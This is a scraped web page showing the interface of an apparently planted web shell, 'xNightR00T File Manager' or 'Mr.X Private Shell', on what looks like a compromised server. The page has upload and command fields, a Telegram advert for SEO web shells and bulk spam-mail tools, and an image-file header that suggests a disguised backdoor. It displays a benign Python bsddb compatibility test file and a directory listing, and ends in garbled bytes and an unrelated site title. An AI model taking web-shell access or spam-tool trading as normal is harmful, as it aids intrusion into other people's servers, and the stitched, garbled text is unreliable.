xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
"""
Test cases adapted from the test_bsddb.py module in Python's
regression test suite.
"""

import os, string
import unittest

from test_all import db, hashopen, btopen, rnopen, verbose, \
        get_new_database_path


class CompatibilityTestCase(unittest.TestCase):
    def setUp(self):
        self.filename = get_new_database_path()

    def tearDown(self):
        try:
            os.remove(self.filename)
        except os.error:
            pass


    def test01_btopen(self):
        self.do_bthash_test(btopen, 'btopen')

    def test02_hashopen(self):
        self.do_bthash_test(hashopen, 'hashopen')

    def test03_rnopen(self):
        data = "The quick brown fox jumped over the lazy dog.".split()
        if verbose:
            print "\nTesting: rnopen"

        f = rnopen(self.filename, 'c')
        for x in range(len(data)):
            f[x+1] = data[x]

        getTest = (f[1], f[2], f[3])
        if verbose:
            print '%s %s %s' % getTest

        self.assertEqual(getTest[1], 'quick', 'data mismatch!')

        rv = f.set_location(3)
        if rv != (3, 'brown'):
            self.fail('recno database set_location failed: '+repr(rv))

        f[25] = 'twenty-five'
        f.close()
        del f

        f = rnopen(self.filename, 'w')
        f[20] = 'twenty'

        def noRec(f):
            rec = f[15]
        self.assertRaises(KeyError, noRec, f)

        def badKey(f):
            rec = f['a string']
        self.assertRaises(TypeError, badKey, f)

        del f[3]

        rec = f.first()
        while rec:
            if verbose:
                print rec
            try:
                rec = f.next()
            except KeyError:
                break

        f.close()


    def test04_n_flag(self):
        f = hashopen(self.filename, 'n')
        f.close()


    def do_bthash_test(self, factory, what):
        if verbose:
            print '\nTesting: ', what

        f = factory(self.filename, 'c')
        if verbose:
            print 'creation...'

        # truth test
        if f:
            if verbose: print "truth test: true"
        else:
            if verbose: print "truth test: false"

        f['0'] = ''
        f['a'] = 'Guido'
        f['b'] = 'van'
        f['c'] = 'Rossum'
        f['d'] = 'invented'
        # 'e' intentionally left out
        f['f'] = 'Python'
        if verbose:
            print '%s %s %s' % (f['a'], f['b'], f['c'])

        if verbose:
            print 'key ordering...'
        start = f.set_location(f.first()[0])
        if start != ('0', ''):
            self.fail("incorrect first() result: "+repr(start))
        while 1:
            try:
                rec = f.next()
            except KeyError:
                self.assertEqual(rec, f.last(), 'Error, last <> last!')
                f.previous()
                break
            if verbose:
                print rec

        self.assertTrue(f.has_key('f'), 'Error, missing key!')

        # test that set_location() returns the next nearest key, value
        # on btree databases and raises KeyError on others.
        if factory == btopen:
            e = f.set_location('e')
            if e != ('f', 'Python'):
                self.fail('wrong key,value returned: '+repr(e))
        else:
            try:
                e = f.set_location('e')
            except KeyError:
                pass
            else:
                self.fail("set_location on non-existent key did not raise KeyError")

        f.sync()
        f.close()
        # truth test
        try:
            if f:
                if verbose: print "truth test: true"
            else:
                if verbose: print "truth test: false"
        except db.DBError:
            pass
        else:
            self.fail("Exception expected")

        del f

        if verbose:
            print 'modification...'
        f = factory(self.filename, 'w')
        f['d'] = 'discovered'

        if verbose:
            print 'access...'
        for key in f.keys():
            word = f[key]
            if verbose:
                print word

        def noRec(f):
            rec = f['no such key']
        self.assertRaises(KeyError, noRec, f)

        def badKey(f):
            rec = f[15]
        self.assertRaises(TypeError, badKey, f)

        f.close()


#----------------------------------------------------------------------


def test_suite():
    return unittest.makeSuite(CompatibilityTestCase)


if __name__ == '__main__':
    unittest.main(defaultTest='test_suite')

Filemanager

Name Type Size Permission Actions
__init__.py File 0 B 0644
__init__.pyc File 130 B 0644
__init__.pyo File 130 B 0644
test_all.py File 19.01 KB 0644
test_all.pyc File 24.24 KB 0644
test_all.pyo File 24.24 KB 0644
test_associate.py File 15.32 KB 0644
test_associate.pyc File 20.14 KB 0644
test_associate.pyo File 20.14 KB 0644
test_basics.py File 35.4 KB 0644
test_basics.pyc File 33.32 KB 0644
test_basics.pyo File 33.32 KB 0644
test_compare.py File 14.79 KB 0644
test_compare.pyc File 19.28 KB 0644
test_compare.pyo File 19.28 KB 0644
test_compat.py File 4.43 KB 0644
test_compat.pyc File 5.3 KB 0644
test_compat.pyo File 5.3 KB 0644
test_cursor_pget_bug.py File 1.83 KB 0644
test_cursor_pget_bug.pyc File 2.6 KB 0644
test_cursor_pget_bug.pyo File 2.6 KB 0644
test_db.py File 5.66 KB 0644
test_db.pyc File 8.58 KB 0644
test_db.pyo File 8.58 KB 0644
test_dbenv.py File 18.78 KB 0644
test_dbenv.pyc File 21.78 KB 0644
test_dbenv.pyo File 21.78 KB 0644
test_dbobj.py File 2.35 KB 0644
test_dbobj.pyc File 3.35 KB 0644
test_dbobj.pyo File 3.35 KB 0644
test_dbshelve.py File 11.42 KB 0644
test_dbshelve.pyc File 13.95 KB 0644
test_dbshelve.pyo File 13.95 KB 0644
test_dbtables.py File 14.98 KB 0644
test_dbtables.pyc File 11.49 KB 0644
test_dbtables.pyo File 11.49 KB 0644
test_distributed_transactions.py File 4.76 KB 0644
test_distributed_transactions.pyc File 5.53 KB 0644
test_distributed_transactions.pyo File 5.53 KB 0644
test_early_close.py File 7.27 KB 0644
test_early_close.pyc File 6.66 KB 0644
test_early_close.pyo File 6.66 KB 0644
test_fileid.py File 1.79 KB 0644
test_fileid.pyc File 2.37 KB 0644
test_fileid.pyo File 2.37 KB 0644
test_get_none.py File 2.24 KB 0644
test_get_none.pyc File 2.82 KB 0644
test_get_none.pyo File 2.82 KB 0644
test_join.py File 3.09 KB 0644
test_join.pyc File 3.54 KB 0644
test_join.pyo File 3.54 KB 0644
test_lock.py File 6.44 KB 0644
test_lock.pyc File 5.94 KB 0644
test_lock.pyo File 5.94 KB 0644
test_misc.py File 4.73 KB 0644
test_misc.pyc File 5.06 KB 0644
test_misc.pyo File 5.06 KB 0644
test_pickle.py File 1.93 KB 0644
test_pickle.pyc File 2.75 KB 0644
test_pickle.pyo File 2.75 KB 0644
test_queue.py File 3.92 KB 0644
test_queue.pyc File 3.9 KB 0644
test_queue.pyo File 3.9 KB 0644
test_recno.py File 8.55 KB 0644
test_recno.pyc File 7.61 KB 0644
test_recno.pyo File 7.61 KB 0644
test_replication.py File 19.82 KB 0644
test_replication.pyc File 15.27 KB 0644
test_replication.pyo File 15.27 KB 0644
test_sequence.py File 5.15 KB 0644
test_sequence.pyc File 6.56 KB 0644
test_sequence.pyo File 6.56 KB 0644
test_thread.py File 15.54 KB 0644
test_thread.pyc File 14.97 KB 0644
test_thread.pyo File 14.97 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
admin f – Seiko Business Matching